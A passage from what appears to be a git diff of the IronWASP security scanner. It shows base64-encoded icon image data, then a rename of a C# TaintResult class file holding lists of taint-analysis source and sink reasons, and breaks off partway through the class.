AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////b////////////////////2////////////////////5n///////////////////8Y// + //////////////////GP///////////////////hh///////////////////4Yf///////////////// + /8GD///////////////////Bg///////////////////gYH//////////////////4GB//////////// + //////8BgP//////////////////AYD//////////////////gGAf/////////////////4BgH////// + ///////////8AYA//////////////////AGAP/////////////////gBgB/////////////////4AYAf + ////////////////8AGAD/////////////////ABgA/////////////////gAYAH//////////////// + 4AGAB////////////////8ABgAP////////////////AAYAD////////////////gAGAAf////////// + /////4ABgAH///////////////8AAYAA///////////////+AAGAAH///////////////gABgAB///// + //////////wAAYAAP//////////////8AAGAAD//////////////+AABgAAf//////////////gAAYAA + H//////////////wAAGAAA//////////////8AABgAAP/////////////+AAAYAAB//////////////g + AAGAAAf/////////////wAABgAAD/////////////8AAAYAAA//////////////AAAGAAAP///////// + ////4AABgAAH/////////////2AAAYAABv////////////4wAAGAAAx////////////+MAABgAAMf/// + /////////BgAAYAAGD////////////wYAAGAABg////////////4DAABgAAwH///////////+AwAAYAA + MB////////////AGAAGAAGAP///////////wBgABgABgD///////////4AMAAYAAwAf//////////+AD + AAGAAMAH///////////AAYABgAGAA///////////wAGAAYABgAP//////////4AAgAGAAQAB//////// + //+AAMABgAMAAf//////////AABAAYACAAD//////////wAAYAGABgAA//////////4AAGABgAQAAH// + ///////+AAAwAYAMAAB//////////AAAMAGACAAAP/////////wAABgBgBgAAD/////////4AAAYAYAY + AAAf////////+AAADAGAMAAAH/////////AAAA////AAAA/////////wAAAH///gAAAP////////4AAA + D///4AAAB////////+AAAAwAADAAAAf////////AAAAYAAAQAAAD////////wAAAGAAAGAAAA/////// + /4AAADAAAAgAAAH///////+AAAAwAAAMAAAB////////AAAAYAAABAAAAP///////wAAAGAAAAYAAAD/ + //////4AAADAAAACAAAAf//////+AAAAwAAAAwAAAH///////AAAAYAAAAEAAAA///////wAAAGAAAAB + gAAAP//////4AAADAAAAAIAAAB//////+AAAAwAAAADAAAAf//////AAAAYAAAAAQAAAD//////wAAAG + AAAAAGAAAA//////4AAADAAAAAAgAAAH/////+AAAAwAAAAAMAAAB//////AAAAIAAAAABAAAAP///// + wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + AAAAXHKoZgAAHntJREFUeNrtnXmcXEW1x7/DIiiogLIoKmprfC68RhtQQARcQCh0Hj73XcSlWcIq4BLC + km0SEmJHGSALCVtA0dA+CkFFkV0w6BAQISSEsG9hJ9sk8/6oipn03Orp5d5bt26f7+fDh8/nVnf1uXdy + f+fUdg4IgiAIgiAIgiAIgiAIgiAIgiAIgiAIgpAXuqIuKqV2Br4DnA/cpbUe8G2oIAjNoZTqAnYGDgWm + a63vrv3MJo7vLgA+BIwEblFKzQQu11q/5PumBEGoj1LqtcDngcOADwPXAXdHfbarTif7An8ZdOlZ4FJg + FjBfogJByA7W2+8KfBf4ErCVbRoA9tFa3xD1va5hOrwW2K+maS1wBzAD+LXWepnvmxeETkUp9Qbgixhv + vwuwUc1H/gjsr7WO/H7XMJ3vC/y5zueeB34DzARudv2IIAjxYZ3znpiX/nPA6xwfHQA+prW+0dXXcAIA + Jgr4eAN23YWJCuZqrZ/0/ZAEIW8opbYHvop58d/XwFf+ABxQzzF3DdeDUmofzFzAsJ+1vAxUMWJwg9a6 + 3+9jE2oZOX/RxsB7AYXxElcB91RKhTW+bRM2RCm1CbAP5qX/DLBFg18dAPbWWt9U70ONCEAXZhzxiRbs + vxezlHih1vrRFJ+bUMPI+Yu2APYGDgY+DRRqPrIIuAbQwPWVUkFWfDyilNoR+CbwbWBEC10M6/2hQa+u + lNob+Gujn49gJXAlZq7gWq31qkSemvAfRs5f1AW8Fdgf89Lvh3usWMuLwPWYv9k1wIOVUmGt73vKO0qp + zTCO9jDgIGCzFrtaC3xUa33LcB9sVAC6MIryyRjuczEwB5gNLJWJw/gYOX/RRkAJ88Ir4L+BTdvsth+z + hnyV/e/W/hXL+8/e6wO+bzcX2Hm2nTAb774JvCOGbq8GDmzk3WrYoyul9gJuaOY7w7AG412mA1drrVfE + 1G9HMXL+om2AfTEv/EHADgn/5DOsHypcWykVnvD9DEJEKbU55u91GCZK2zimrgeAPbXWtzby4WYEoAvz + h/9UAs/jYeBCzHzB/bLJyI318u/E/ONRwF40PjEUNyuAv2MiAw38q1IqyKSvA/sOjcB4+68DOybwM1cB + qtHIuilvrpTaE7ipme80ST9mrmEGUNVaL0/wt4Jh5PxFrwL2wIT2B2KWgOKKxOJkMWaoqIHrZCLRoJR6 + NXAIZpfePsTn7WsZAPbQWv+t0S80KwBgxhcHJHQDg3kKuIgOPJA0cv4igDdh9l8cjIm63uDbriZ5GSPm + GhM5Lq6UCh3zN6w5iPM14I0p/KwGDm5mXq1pL2KjgBtb+W6LrAFuxUQFuT2QZEP797F+Am9XYHPfdsVE + P3AP8HvMP9JbK6VCLleC7EGcL2Be/I+QnLevZQD4iNb6tma+1NJLrJT6PWYtOW2eA+ZilhPvCD0qGDl/ + 0ZasX5s/kHhmgEPgGczeEg38qVIqPO7boHYYdBDnUODLrD+IkyZXaq0/0+yXWhWAPTBzAb7GoUEeSBq0 + Nn8A5qXfB3i9b7s8sxKYz/qJxLsrpcJq30Y1wqCDON8FPsjQgzhpsRbj/W9v9ostv8Aeo4Bangd+ixGD + zB1IsqH9bqxfpivizsMgwBLWTyT+OWsTiU0cxEmTlrw/tCcAHwZuxp/q1TKA2bDi/UCSXZvfD/PSH0jy + a/N5ZTkbTiQu8rUjUSm1Aya8X3cQJyurMGuBD2ut/97Kl9sRADB/mIN8P4EIBh9Iul5rneghl0Fr88r+ + tyf+1ubzSj/mbMngicREN4+1cRAnTX4HdLca+balYhmMAqJI5EDSyPmLNsfM8q4L7d9LdrxCJ7AM+BNG + DP5YKRUei6tjexDnG5hJvXf7vtE6rAV211rPb7WDdgUAzIER5ftJNMAKzETTDFo4kGTX5nfAnIc42P4/ + tLX5vLIKMym8biJxQbMTiTEexEmTK4BD2pn3attjKaV2B24h21FALYuBCzD5DR9yPUD70u/MhmvzIfzD + 6HQeZMNlxsiJROvA3obx9HEdxEmLtcBuWus72ukkjpf2NsyDDol3AqcCDwDaZlqJYnPMJqRxmD338vKH + wU4YTz4POCLqA0qpN2EihsXAaMJ6+cFslW/r5YcYBMB6zzMwihQaG2PCveOjGu0k04W+jRRa5mVMpBfF + SZgVmrR26sXJWsw71zZxhe23Y+YCQuWHSqntHG09mDGmEB7nRU0OKqXejIkQQuUK4B9xdBSLANgo4HTC + jAIAXgscF9VQKRUeQKKAEHkZONPR9iOyuaTXCGuB0+Pa8BbnxN18wo8CtnW0TQCC2J4q/IfplVJhyLKv + Hft/z7dxbTAP6Iurs9gEwCrSqYQbBbweODaqoVIq3A9c7NtAoWFeBiY52kL2/muAM+Lc7h7r0p3W+h+Y + nUmhcrg94BHFeCQKCIV63v/7vo1rg3la69i8PySzdh/qigCYKODoqIZKqXAf8CvfBgrD8grusf/xhOv9 + Y5v5H0wSAnAHZpYyVI5SSm3jaBuL2ZMuZJfzKqXCI7UX7WGeH/o2rg0uB+6Mu9PYBcCOT8ZgxishshWm + LHoU92BqIQrZZDn59P5rgDFJHHVPZPuunQu4ItlnkigjlVJb1V6slApgxC3UIU7ecXn/7YGyb+Pa4HKt + 9YIkOk5y//4ZhBsFbA0cFdVQKRXuwiQgEbLFcmCio+0EwvX+/RinkwhJCkAfYUcBRyulXOm6xiJRQNaY + 4Zj5346wx/6/0VrflVTniQmAHa+cRrhRwBuAIx1t/8QkHBGywSuYLdtRnABs6dvAFukngZn/wSR9hHcB + ZudSqBytlBqS883OBYxDooCsMNMx9g/d+/8ak+YuMRIVgEFnBEKNArYFDo9qqJQKfye8Y9B5pN7Y/3jM + OY8QiX3XXxRpJPFYgFnDDJVjbbGHKGQuwD8zKqXCw7UXrfcPeeb/Msyyc6IkLgCD9gWE+qJsB/zA0fY3 + TAprwQ/Lce/5P5ZwvX8/Ca3715JKGi87ixnyNtoTlFJDJpLsXMAZmJTkQvrMqJQKD9VetKc6j2ihv6xw + qdY6ce8P6ebxG0O422i3x32I5BZMdlohXep5/+MI2/uPTevHUhMArfXdhD0XcIJS6jW1F23F20SXaoRI + Zjm8/xtxTNwGwqVa63+n9WNpZ/I9g3CjgHpHSW8E/uLbwA5iOe51/+PIRrmuVlhNgrv+okhVALTW/8Ks + bYbKCUqpV9delCggdep5/5DH/nO11vem+YM+cvmHHAXsiDuZ5F+AG3wb2AGswKRoi+JYwvb+qY391+FD + AO7BrHGGyolKqc1rL9oVgdN9G9cBzGJgIGrdv97W7RC4RGt9X9o/mroA2LXNkBNrvAVTSSaKazGrAkIy + rAB6Kru+K6rtGMT7N42vcl73AHM9/XYcnOSIAgaQKCBJZlVKhaW1F633P6qF/rLCRcBCHz/sRQBsFDCO + cKOAtwHfcrRdgymXJsTLCtwz/8dg8jmGyGpgXBq7/qLwVtDTrnWGHAWcbCvKboCsCCTG+XW8f8hj/wu1 + 1vf7+nHfFX1DXhF4O6aibBRXAX/3bWCOqOf9j8bkcQyR1ZhI2BteBUBrvRC4xKcNbXKSUupVtRcrpcJa + PP9hc8bsSqnwYO1Fm705dO+/yKcBviMAMDufQi24UQC+4WirElMBxw6n3rr/0Zj8jSGyCk8z/4PxLgA2 + Cgi57NbJEgUkSj3vH/LM/wVa68W+jfAuAJZxhBsFvAv4iqNtHiYhitAaK3F7/5GE7f3H+zYCMiIANgoI + uQT3T5RSm9ZerJQKa8hAmBcws4Eo77817uItITAnC94fMiIAlvEYZQyREcCXHW2/IYXUTjlkJTDebrGu + 5SjC9f4ryYj3hwwJgF0Lvci3HW3wU6XUJrUXK6VCqgkecoRr7L8VZuNPqMzWWj/g24h1ZEYALOMINwp4 + D/AlR9tlQOoHPQKm3hg55LF/vRUNL2RKAOyaaOhzARvXXrRRQGbCvgCo5/2Pbr67zDBHa73EtxGDyZQA + WMZixkkh8j7gC462iwFvWz4Dot4YeSSwTRN9ZYkVZNAJZE4A7Pgo5Cjgp44oYDUZC/8yygWVUmFJ7UXr + /UOe+Z+ttX6w/W7iJXMCYBlLuHMBHwA+52i7EMjMBFAGqef9j8TUawyRlWR0U1hWBWAJZg04VFxRwCrc + h1oE4/2HCKSt0nyMb+PaYCbwUNu9JEAmBcCejQ55X0AR6Ha0zQGWNtFXp7AK9xApZO+/Apjg67z/cGRS + AADsbOks33a0wShHFFDvaGsnM2dgzZohu+Os9z/Wt3FtMFNrnUnvDxkWAEsPRkFDZBfgYEfb+cDDjXeV + e1YCE6btPiKq7QjC9f716hdkgkwLgI0CZvu2ow1GKaWGPONKqbAcONO3cRniokqpEOX9X4d4/0TJtABY + xmOUNERKuKOA6cBjvg3MAKtwz5AfAbzRt4Et8goZ9/4QgABorZcSdhTwM6VUV+3FSqnwCjDFt3EZIM/e + P/PDvMwLgGUC4UYBuwEHOdp6gSd9G+iRevnwjwC29W1giwTh/SEQAbBRQMgrAq4o4GU6Owq4wOH9X0vY + 3n+61voR30Y0QhACYAl5ReAjwP6OtrOBp30b6IF6J/4OJ2zvP9G3EY0SjADY2dTpvu1og1McUcCLwFm+ + jfPARZVSYUhGXOv9j/dtXBucp7V+1LcRjRKMAFgmEu5cwJ7AJx1tZwPP+DYwRVbj9v5lwvb+k3wb0QxB + CYCdVZ3h2442GOWIAp4DKr6NS5ELK6XCkKPROfD+54bk/SEwAbCEvCKwN/BxR9svgGd9G5gC9cb+ZWA7 + 3wa2yMsE5v0hQAGwChtyFOBaEViGEYG8c4nD+28JHOfbuDY4V2sd3Mau4ATAMgEz3gqRfYB9HW0/B573 + bWCC1Nv1Vwa2921gi7xEgN4fAhUAGwWEuiLQhYkChjRUSoVnMBOCeeWSSqmwsPZiTrz/476NaIUgBcAy + ETPuCpH9gI852s4CXvRtYALUq4T7Q2AH3wa2yIsE6v0hYAGwUcB5vu1okS7MisCQhkqp8BRmi3DeuBhw + ef+QZ/7P0Vo/4duIVglWACxnEm4U8AnM3oAophDuHEcU/cA4R5Wf7xOu938JmOzbiHYIWgBsFHCubzta + pAsYHdVQKRWeAM7xbWCMXOwY+28BnOjbuDb4ZcjeHwIXAMskwo0CPqWU2sPRNpl8RAH9uMf+3yfcmf8X + ycFBruAFwM6+huot660IhL7fYR2XVEqFIWXRlFKvAX7k27g2OFtrHfxR7uAFwDIJMx4LkQOB3evcV6i7 + HqH+ef8fAG/ybWCLvEDgY/915EIA7Dgsj1HAw4SdDWluHe9/gm/j2uBsrfVTvo2Ig1wIgCXkKEABuzra + JhBmHoR66/7fB97s28AWyY33hxwJgB2PhbqLbiPcUcBS4ALfBrbApZVS4d7aiznw/r/QWucmgUtuBMAy + mXCjgM8AH3K09RBWlaR6M/+HATv6NrBFXiBnyVtyJQA2Cgj1RN1GwM8cbYsJq2LyXODftRet9w953b+S + J+8PORMAyxTC3Uv/WaXULrUX7Q66Hsy4OuvU2/UXsvd/HnNaM1fkTgDs7OwvfdvRIhsDP41qsDvpLvFt + YANcWikVorz/qxHvnzlyJwCWKYR7rv4QpdTOjrbxGA+bVfpxr/uH7P2fI4feH3IqADYKCPVEnTMKAO4F + fuXbwDr8iuix/+aE7f2naa1zmbQ1lwJgmUy4UcAXlFLvr71ox9VjgDW+DYygHzjdMfb/HvAW3wa2yLPk + bOZ/MF3td5FdlFJjcHvTrDMX+KrWekjDyPmLdgI28W1gDf2VUuHB2ovW+y8kXAE4XWs9uv1usknW/hHF + zVTgSOD1vg1pgS8CpxMRUke9aBnmu4T78j+L+TeUWzb2bUCSLFy48JURI0ZsgTv9VpbZCNhqxIgR8xYu + XNh2Zz6wM/+XEqYAA/Rora/2bUSS5HkOYB1nEe5cwJcId888wOeBt/o2okWepQOKteReALTWywj3D7kQ + CDnjzM2EsXkpirO01rkv1JJ7AbBMxazlhsYkrXUWZ/wbZRHwa99GtMAyYJpvI9KgIwQg0ChgKWHs/HNi + VzB6gLW+bWmSqVrr53wbkQZ5XwUYzFTgKGBr34Y0yGSt9ZATgN29fZsApwGbtdH3nGq5uKCm352Bb7XR + 5wpgdLVcrI1Y7gT+D+hO5am1zzOE5yxapmMEQGv9rFKqgiMTb8Z4GpjlaPtf4Cdt9n8zsKDm2rtpPz// + P4HLB1/QWqOU6gE+Sxj7TqZqrUOdNG6ajhgCDOLnmPFd1pmmtR6S16C7t28j4GTfxtXhx929fUNecq31 + LcBffBvXAE/TIWP/dXSUANhZ3awf6ngB92nGg4BdfBtYhw8BBzjaxjfTkSfO6iTvDx0mAJZpZDsKmBl1 + 8MR61ix7/3WcHBUFANcCt/k2rg5PE+4x8pbpOAGwUcBU33Y4WIG72MQ+wF6+DWyAfYCP1l7UWg/gThOW + BSZ3mveHDhQAyzTMbG/WuFhr/XDtxe7ePgjD+6/jZGtzLVcCd/k2LoKnCDehbFt0pADYNd6pvu2ooR9T + 7DSKXYFP+TawCT4NfLD2ot3U1OPbuAimaK1f8G2EDzpSACzTMOO+rHAFESf/LCcT1t+q3mrFZZgdglnh + STpw7L+OkP5RxYod7031bYdlAJgYdfa/u7fvvcD/+DawBQ7p7u17T+1FrfVqslVYY4rWOtQksm3TsQJg + ycpcwB+A2x1tJxPmse1NcacBmw086ttAjPcPNY18LHS0ANhxXxa8UY/D+78D+LJv49rga929fW+rvai1 + Xk42oq/JWutQS8vHQkcLgOWX+J0LuBW4ztF2PPAqj7a1y2bAcY62c/EbfT1Bh878D6bjBSADUcAEu0a+ + Ad29fTsA3/FoV1wc1t3bt13tRfvcfYbfZ0Ztt+40Ol4ALGdjxoNp8y/MSbkojgZe4+2JxMcWmFOYUfwC + P7UcQy4nHysiAPzHG01pu6Pm6dFaDzkr393btzVQ9v1cYuTI7t6+IXkBbaWd8zzYM1G8v0EEYD1nk276 + rSWYhJlRHE64iTSj2Aq3oJ2F2QKdFo/hR3QyiQiAxa4FpxkFnOVI+LEFMNL380iAo7t7+4YMaezW5zQr + H8vYfxAiABvSSzpRwJPATEfb94DtmugrFHYADnW0TSSd5KGPImP/DRABGISNAtJYEfhF1Ppzd2/fZsAx + vp9DghzX3ds3ZFlTa30/6SQPPVNr/Yrvh5AlRACGknQU8ALu9eevATv5fgAJ8g7gK462pJOHPorZeyAM + QgSgBjs+nJTgT5znSPixCfAj3/efAid29/ZFbW2+E3NcOCkmivcfighANOeQTBSwAndKskOA//J94ynw + PiIyBNut0BMwB6Pi5lFguu8bzyIiABHY8fnEBLq+0JHwYyPgx77vO0V+bO+5lqSSh04Q7x+NCICbczFr + xnHRj3uCMTKBRo6JTHAyKAqIk0dwr7h0PCIADmwUEOdcwDyt9b21F23qrE7y/utw3fOfiDd5aI94fzci + APU5l3jOrQ/g9mwfI4xkn3Hzse7eviH3bQ9GxZVC/CFghu8bzTIiAHWwniOOKOCPwB21Fwcl+wyhYk7c + dOFOHvo74O4YfmOSzT0gOBABGJ7zMOPIdpgQlfADU0jjQN836BFFRKETe0Cq3bmApYj3HxYRgGGwUUA7 + KwKRCT86eOw/mC7gJEcUcBmwuI2+e8T7D48IQGPMoPUooCcq4Qdmzf8Q3zeWAT6PKUy6ATZ56JnNdwcY + 73++7xsLARGABrBRQCv57O/GjGejOIkwk33GzSbUTx7aivCOF+/fGCIAjTMTeLjJ70xyJPx4O+498Z3I + 17t7+95ae9G+xM0Wc12KEQ6hAUQAGqSFKGAJMNfRdhwmYaZg2Jz4koeO11qnmWAkaEQAmmMmZm25EVwJ + P+qdi+9kDuvu7du29qJN19Zo5Z4lyNi/KUQAmsCGpI2sCDwFzHK0HYVJlClsyJbUTx7aSPWeHq31St83 + EhIiAM0zneGjgEpU2imb7PNw3zeQYY5wJA99iuHz+C3BLbqCAxGAJrEept4mlRcwSUWi+CEmQaYQzTbA + DxxtU6mfPHR81JBLqI8IQGvMwsw2RzHdkfBjC0yuf6E+x9RJHnqB4zsPAHN8Gx4iIgAtYGeZow6srMCk + uY7iUGB737YHwJuAbzvaJhGdPHScjP1bQwSgdWYDD9Zcu0hrPWTjik2EebxvgwPihO7evk0jrt8PXF5z + bTHpphXPFSIALRIRBazBfXIw78k+4yYyeag9UDWeDZOHjhXv3zoiAO0xBzP+BPit1vq+2g/YBJgnNtWr + AI7koVrrBaxPHroIuMi3oSEjAtAGNgpYl8jStUuwU5J9xs37gc862tY983Ey898eIgDtMwezXXV+bUMH + JvuMmx939/ZFJUu5BbMvQLx/m4gAtIkdfx7lSPixPybph9AauwGfrL1on/WR4v3bRwQgBrTW/bXXrOcS + 798+kVFA1DMXmkcEIDk+Cuzt24gcsC+wh28j8ooIQHJ0arLPuOnCPEshAUQAEqC7t+9DmGIfQjyo7t6+ + om8j8ogIQDKchDzbONkI2UuRCPKPNBl28G1ADpFnmgAiAMkwmmSq3HYqA8Cpvo3IIyIAyfBXTDUgIR6u + AW7wbUQeEQFIgGq5OACMYsNDK0JrrAV+Vi3LHGASiAAkx224awIIjTOPiG3WQjyIACSE9VijMceEhdbo + B04V758cIgDJciemxp3QGnOBu3wbkWdEABLEeq7TiE5jJdRnNXCaeP9kEQFImGq5eB+SsLIVZlXLxUW+ + jcg7IgDpMIb6Ka2FDVmOeWZCwogApEC1XHwQU1BEaIxzquVis4VYhRYQAUiPccBLbfeSf16gfuEVIUZE + AFKiWi4+jqlxJ9RnWrVcfNK3EZ2CCEC6nAk869uIDLMMmOzbiE5CBCBFquXiM7grBwlwZrVcFIFMERGA + 9KkAEuIORYZIHhABSJlqufg87hoCncz4arn4om8jOg0RAD+cA8gy13qWIsukXhAB8EC1XHwFGOvbjgwx + plouLvdtRCciAuCPWZjadp2ObJX2iAiAJ6rl4irgDN92ZIAz7LMQPCAC4JeLgH/5NsIjC4BLfBvRyYgA + eKRaLq7BJA3pVEZXy0VJm+YREQD//Ba4w7cRHrgdqPo2otMRAfCM9YCjfNuRMgPAKPH+/hEByAa/B27y + bUSKXA/8wbcRgghAJrBpxH9GZxQTGQBOsfcseEYEIDt0SjGRqzERgJABRAAygvWIo8l3MZG1mJl/33YI + FhGAbHEr+S4mMg8z+y9kBBGADGE946nks5iIFPnIICIA2aMP+JVvIxJgbrVclCIfGUMEIGMMigLyVExk + FXC6byOEoYgAZJP7gAt8GxEjs6vl4v2+jRCGIgKQQWwUcDr5KCayHDn1mFlEADJKtVzMS5YcKfKRYUQA + ss14wi4m8iKS/zDTiABkmGq5+BhhZ8qtVMvFJ3wbIbgRAcg+k4HnfBvRAsuAKb6NEOojApBxquXi04T5 + Ik2ulovLfBsh1EcEIAxCKybyODDNtxHC8IgABIAtJjLJtx1N0CNFPsJABCAcziaMYiJLgXN9GyE0hghA + INhiIuN829EAY6XIRziIAITFLGCxbyPqcD9wvm8jhMYRAQiIarm4EjjNtx11OLVaLubpEFPuEQEIj0uA + e3wbEcFdwKW+jRCaQwQgMKrlYj9wim87IjjFFjoRAkIEIEyyVkxEinwEighAgNiCGlmKAk6RIh9hIgIQ + LlcBN/o2ApPO/BrfRgitIQIQKDaN+Cn4LSYiRT4CRwQgbK4D/uTx969BinwEjQhAwFjPOwo/xUTWYry/ + 78cgtIEIQPj8DbjSw+9egRT5CB4RgMCxHngU6RYT6UdKfOUCEYB8cCfw6xR/7zLMzj8hcEQAcoD1xKNJ + p5jIaqTEV24QAcgPaRUTOR9z6k/IASIAOcF65DHAygR/ZgUwRrx/fhAByBHVcnEJyWbj6a2Wiw/5vk8h + PkQA8kcPyRQTkSIfOUQEIGdUy8VHgV8m0PU0KfKRP0QA8skk4NkY+1uGKVAi5AwRgBxSLRefAabG2OUU + KfKRT0QA8svPiaeYyOOYwiRCDhEByCm2mMjEGLqSIh85RgQg35wDPNLG96XIR84RAcgx1XLxZWBsG11I + kY+cIwKQf2YCD7TwvfuB2b6NF5JFBCDnVMvFVbRWTOQ0+10hx4gAdAYX01wxkbuAub6NFpJHBKADsMVE + RjfxldFS5KMzEAHoHH5DY8VEbgfm+TZWSAcRgA6hwWIiAxjvL2m+OwQRgM7iKuCmOu03AFf7NlJIDxGA + DmJQGvEoDz8AjBLv31ls4tsAIXWuA7aPuH4T8JRv4wRBEARBEARBEARBEARBEARBEARBEARBEARBEARB + EARBEARBEARBEIQI/h+hEP2A1kjQfgAAAABJRU5ErkJggg== + + + \ No newline at end of file diff --git a/IronWASP/TaintResult.cs b/Iron/TaintResult.cs similarity index 97% rename from IronWASP/TaintResult.cs rename to Iron/TaintResult.cs index 8e886ea..eaa981e 100644 --- a/IronWASP/TaintResult.cs +++ b/Iron/TaintResult.cs @@ -1,132 +1,132 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - internal class TaintResult - { - internal List SourceReasons = new List(); - internal List SinkReasons = new List(); - - internal List NeutralReasons = new List(); - - internal List MethodNameReasons = new List(); - internal List MethodArgumentSinkReasons = new List(); - internal List MethodArgumentSourceReasons = new List(); - internal List MethodArgumentNeutralReasons = new List(); - - internal List SourceToSinkReasons = new List(); - - internal 